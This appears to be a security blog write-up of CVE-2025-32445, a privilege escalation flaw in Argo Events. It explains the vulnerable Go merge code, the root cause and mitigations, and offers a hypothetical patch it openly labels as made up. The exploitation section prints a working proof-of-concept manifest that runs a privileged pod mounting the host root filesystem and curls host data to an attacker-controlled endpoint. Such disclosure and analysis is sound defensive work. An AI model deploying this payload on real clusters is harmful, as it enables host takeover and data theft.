RCE

CVE-2025-32445: Argo Events Privilege Escalation via EventSource and Sensor CRs

Robert Morgan

Robert Morgan

— 6 min read

Executive Summary

CVE-2025-32445 describes a critical vulnerability in Argo Events versions prior to 1.9.6. This vulnerability allows a user with permissions to create or modify EventSource and Sensor custom resources (CRs) to gain privileged access to the host system and the Kubernetes cluster. This is achieved by leveraging the spec.template and spec.template.container fields within these CRs to inject malicious configurations into the underlying pods. By specifying properties such as command, args, securityContext, and volumeMounts, an attacker can bypass security restrictions, potentially compromising the entire cluster. The patch released in version 1.9.6 mitigates this vulnerability by restricting the properties that can be specified under spec.template.container.

Technical Details

The vulnerability resides in the way Argo Events processes the EventSource and Sensor custom resources. These resources allow users to define event triggers and actions within a Kubernetes environment. The spec.template field within these CRs allows customization of the pods that are created to handle these events. Specifically, the spec.template.container field, which is of type k8s.io/api/core/v1.Container, allows users to define container-specific configurations.

Affected Systems:

  • Argo Events versions prior to 1.9.6

Affected Components:

  • EventSource Custom Resource
  • Sensor Custom Resource
  • pkg/apis/eventing/v1alpha1 package (specifically the handling of spec.template and spec.template.container)

The core issue stems from the unrestricted merging of user-provided container specifications with the default container configuration. The vulnerable code snippet, written in Go, is as follows:

    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }

This code uses the mergo.Merge function to merge the user-provided container specification (args.EventSource.Spec.Template.Container) into the default container configuration (eventSourceContainer). The mergo.WithOverride option ensures that any conflicting fields in the user-provided specification will override the default values. This allows a malicious user to inject privileged configurations, such as mounting the host filesystem or running commands with elevated privileges.

Root Cause Analysis

The root cause of CVE-2025-32445 is the lack of input validation and sanitization on the spec.template.container field of the EventSource and Sensor CRs. The mergo.Merge function, combined with the WithOverride option, allows users to completely control the container configuration, bypassing any intended security restrictions.

Specifically, the ability to modify the securityContext, volumeMounts, command, and args fields allows for a wide range of attacks. By setting privileged: true in the securityContext, a user can escalate privileges within the container. By mounting the host filesystem using volumeMounts, a user can gain access to sensitive data and potentially modify system files. By specifying arbitrary commands and arguments, a user can execute malicious code on the host system.

The provided example demonstrates this vulnerability by creating an EventSource that mounts the host filesystem at /host, sets privileged: true, adds the SYS_ADMIN capability, and executes a shell script that reads sensitive information from the host and sends it to an attacker-controlled endpoint.

The lack of proper authorization checks further exacerbates the issue. A user only needs the permission to create or modify EventSource and Sensor CRs, which is often granted to non-administrative users, to exploit this vulnerability.

Patch Analysis

The patch for CVE-2025-32445, released in Argo Events version 1.9.6, addresses the vulnerability by restricting the properties that can be specified under the spec.template.container field. The patch likely implements a whitelist of allowed properties, preventing users from injecting malicious configurations.

The patch likely modifies the code that handles the merging of container specifications to only allow specific fields to be overridden.

A theoretical example of how the patch might be implemented is shown below. This example is made-up and serves to illustrate the concept of whitelisting allowed properties.

// Hypothetical Patch Code - This is a made-up example
func mergeContainerSpec(eventSourceContainer *corev1.Container, userContainer *corev1.Container) error {
    // Create a new container spec to hold the allowed properties
    allowedContainer := corev1.Container{
        Image:           userContainer.Image, // Allow image to be specified
        ImagePullPolicy: userContainer.ImagePullPolicy, // Allow image pull policy
        // Add other allowed properties here
        Resources: userContainer.Resources,
        Env: userContainer.Env,
    }

    // Merge the allowed properties into the base container
    if err := mergo.Merge(&eventSourceContainer, allowedContainer, mergo.WithOverride); err != nil {
        return err
    }

    return nil
}

if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
    eventSourceContainerCopy := eventSourceContainer.DeepCopy()
    if err := mergeContainerSpec(eventSourceContainerCopy, args.EventSource.Spec.Template.Container); err != nil {
        return nil, err
    }
    eventSourceContainer = *eventSourceContainerCopy
}

In this hypothetical example, the mergeContainerSpec function creates a new corev1.Container object (allowedContainer) and only copies the allowed properties from the user-provided container specification (userContainer) into it. Then, it merges this allowedContainer into the base container configuration (eventSourceContainer). This ensures that only the whitelisted properties are applied, preventing users from injecting malicious configurations. The original eventSourceContainer is copied to prevent modification if the merge fails.

The actual patch likely involves a more sophisticated approach, potentially using a configuration file to define the allowed properties and a more robust validation mechanism to ensure that only valid values are used.

Exploitation Techniques

An attacker can exploit CVE-2025-32445 by creating or modifying an EventSource or Sensor CR with a malicious spec.template.container configuration. The provided example demonstrates a simple exploitation scenario:

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' > /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

This EventSource configuration does the following:

  1. Mounts the host filesystem: The volumeMounts and volumes sections mount the root directory of the host filesystem at /host within the container.
  2. Escalates privileges: The securityContext section sets privileged: true, granting the container elevated privileges. It also adds the SYS_ADMIN capability, allowing the container to perform privileged system operations.
  3. Executes a malicious script: The command and args sections specify a shell script that is executed within the container. This script performs the following actions:
    • Updates the package list and installs curl.
    • Continuously loops, reading sensitive information from the host filesystem (containerd socket, hostname).
    • Sends this information to an attacker-controlled endpoint using curl.
    • Sleeps for 300 seconds.

Attack Scenario:

  1. An attacker gains the ability to create or modify EventSource or Sensor CRs within a Kubernetes cluster running a vulnerable version of Argo Events.
  2. The attacker creates the malicious EventSource configuration shown above.
  3. Argo Events creates a pod based on this configuration.
  4. The pod mounts the host filesystem and executes the malicious script.
  5. The script reads sensitive information from the host and sends it to the attacker-controlled endpoint.
  6. The attacker gains access to sensitive data, such as container configurations, secrets, and potentially the ability to execute arbitrary code on the host system.

Real-World Impacts:

  • Data Breach: An attacker can steal sensitive data from the host system and other containers within the cluster.
  • Host Compromise: An attacker can execute arbitrary code on the host system, potentially gaining complete control of the node.
  • Cluster Takeover: An attacker can use the compromised host to attack other nodes within the cluster, potentially gaining control of the entire cluster.
  • Denial of Service: An attacker can disrupt the operation of the cluster by consuming resources or causing system crashes.
  • Lateral Movement: An attacker can use the compromised container to move laterally within the cluster, attacking other applications and services.

Mitigation Strategies

To mitigate CVE-2025-32445, the following strategies should be implemented:

  1. Upgrade to Argo Events version 1.9.6 or later: This version contains the patch that addresses the vulnerability.
  2. Implement strict RBAC policies: Limit the ability to create or modify EventSource and Sensor CRs to only trusted users and service accounts.
  3. Use Pod Security Policies (PSPs) or Pod Security Admission (PSA): PSPs and PSA can be used to restrict the capabilities of pods, preventing them from mounting the host filesystem or running with elevated privileges. However, PSPs are deprecated in favor of PSA.
  4. Implement network segmentation: Segment the network to limit the impact of a compromised container.
  5. Monitor for suspicious activity: Monitor the cluster for suspicious activity, such as unauthorized access to sensitive data or the execution of unexpected commands.
  6. Regularly audit Kubernetes configurations: Regularly audit Kubernetes configurations to identify and remediate potential security vulnerabilities.
  7. Principle of Least Privilege: Grant only the necessary permissions to users and service accounts. Avoid granting broad permissions that could be abused.
  8. Use a Security Scanner: Employ a Kubernetes security scanner to automatically detect misconfigurations and vulnerabilities.

Configuration Changes:

  • Review and tighten RBAC roles and bindings related to EventSource and Sensor resources.
  • Implement or strengthen Pod Security Admission configurations to prevent privileged containers.
  • Monitor Kubernetes audit logs for creation or modification of EventSource and Sensor resources with suspicious configurations.

Security Best Practices:

  • Follow the principle of least privilege when granting permissions to users and service accounts.
  • Regularly review and update security policies and configurations.
  • Implement a comprehensive security monitoring and alerting system.
  • Stay up-to-date with the latest security advisories and patches.
  • Conduct regular security assessments and penetration tests.

Timeline of Discovery and Disclosure

  • Vulnerability Discovered: Date not specified, but prior to the report date.
  • Vulnerability Reported: Date not specified, reported by @thevilledev.
  • Patch Released: Argo Events version 1.9.6.
  • Public Disclosure: 2025-04-13 19:24:37+00:00 (Github Advisory) and 2025-04-14 17:47:39+00:00 (Github Global Advisory).

References

Read more